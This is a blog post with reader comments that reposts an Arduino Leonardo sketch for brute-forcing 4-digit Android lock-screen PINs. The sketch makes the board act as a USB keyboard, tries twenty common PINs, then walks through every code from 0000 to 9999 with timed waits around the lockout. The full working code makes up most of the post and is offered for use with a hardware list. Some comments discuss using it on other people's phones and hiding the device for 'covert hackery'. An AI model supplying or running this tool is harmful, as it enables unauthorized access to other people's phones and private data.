9.5K
Here is a very interesting article found at http://blog.infosecsee.com about how to use an Arduino to hack a 4 digit pin code android device.
The code will try to the top 20 PIN’s before starting its brute force cycle. For this attack to work you will need an Arduino Leonardo, or an Arduino that can act as a HID (Human Interface Device), an USB OTG (on-the-go) cable and a target device.
If you went from 0000 – 9999 the hack would take roughly 16 hours, the odds are you would get it before then though. See the video below to see what this code does:
/*
Brute forcing Android 4 Digit PIN's
To run the whole range it will take upwards of 16 hours because of
the 30 second delay after 5 bad inputs
Intrestingly, if the target phone has the pattern enabled
and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
invalid attempts
http://blog.infosecsee.com */
const int buttonPin = 2; // input pin for pushbutton
int previousButtonState = HIGH; // for checking the state of a pushButton
int counter = 0; // button push counter
int check = 0;
void setup() {
pinMode(buttonPin, INPUT);
Keyboard.begin();
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
Mouse.move(25, 50, 0);
String three = "000";
String two = "00";
String one = "0";
while(counter < 10000){
delay(1000);
while (check < 1){
Keyboard.println("1234");
delay(500);
Keyboard.println("1111");
delay(500);
Keyboard.println("0000");
delay(500);
Keyboard.println("1212");
delay(500);
Keyboard.println("7777");
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
Keyboard.println("1004");
delay(500);
Keyboard.println("2000");
delay(500);
Keyboard.println("4444");
delay(500);
Keyboard.println("2222");
delay(500);
Keyboard.println("6969");
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
Mouse.move(25, 50, 0);
Keyboard.println("9999");
delay(500);
Keyboard.println("3333");
delay(500);
Keyboard.println("5555");
delay(500);
Keyboard.println("6666");
delay(500);
Keyboard.println("1122");
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
Keyboard.println("1313");
delay(500);
Keyboard.println("8888");
delay(500);
Keyboard.println("4321");
delay(500);
Keyboard.println("2001");
delay(500);
Keyboard.println("1010");
delay(500);
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
check++;}
if (counter < 10 && check == 1) {
Keyboard.println(three + counter);
delay(500);
counter++;
Keyboard.println(three + counter);
delay(500);
counter++;
Keyboard.println(three + counter);
delay(500);
counter++;
Keyboard.println(three + counter);
delay(500);
counter++;
Keyboard.println(three + counter);
delay(500);
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
}
else if (counter < 100){
Keyboard.println(two + counter);
delay(500);
counter++;
Keyboard.println(two + counter);
delay(500);
counter++;
Keyboard.println(two + counter);
delay(500);
counter++;
Keyboard.println(two + counter);
delay(500);
counter++;
Keyboard.println(two + counter);
delay(500);
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
}
else if (counter < 1000){
Keyboard.println(one + counter);
delay(500);
counter++;
Keyboard.println(one + counter);
delay(500);
counter++;
Keyboard.println(one + counter);
delay(500);
counter++;
Keyboard.println(one + counter);
delay(500);
counter++;
Keyboard.println(one + counter);
delay(500);
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
}
else {
Keyboard.println(counter);
delay(500);
counter++;
Keyboard.println(counter);
delay(500);
counter++;
Keyboard.println(counter);
delay(500);
counter++;
Keyboard.println(counter);
delay(500);
counter++;
Keyboard.println(counter);
delay(500);
Keyboard.println("");
Keyboard.println("");
delay(30000);
Mouse.move(25, 50, 0);
}
}
}
previousButtonState = buttonState;
}
5 comments
hey guys i had one tiny problem this came up how can i fix it????/
This report would have more information with
“Show verbose output during compilation”
enabled in File > Preferences.
Arduino: 1.0.6 (Windows NT (unknown)), Board: “Arduino Leonardo”
android_hack.ino: In function ‘void loop()’:
android_hack:26: error: expected `)’ before ‘;’ token
android_hack:26: error: expected `;’ before ‘)’ token
android_hack:174: error: expected `}’ at end of input
hey there i put the code on my arduino ide and the showed my up how can i fix it???
This report would have more information with
“Show verbose output during compilation”
enabled in File > Preferences.
Arduino: 1.0.6 (Windows NT (unknown)), Board: “Arduino Leonardo”
android_hack.ino: In function ‘void loop()’:
android_hack:26: error: expected `)’ before ‘;’ token
android_hack:26: error: expected `;’ before ‘)’ token
android_hack:174: error: expected `}’ at end of input
17 hours are too much we won’t have access to someone else’s phone for that much time period. Also my cell’s lock code consists 5 digits.
how can i use it??with what?
Interesting article. I didn’t realise that running through all the possibilities would only take 17 hours.
For something interesting, the teensy 2.0 can be programmed to act as a HID device too, which has a much smaller package which could lead to more covert hackery.
Also that code could do with a lot of optimization, but in saying that, it does do the job it was intended, and its doesn’t even come close to using the available memory.
Cool article.
Comments are closed.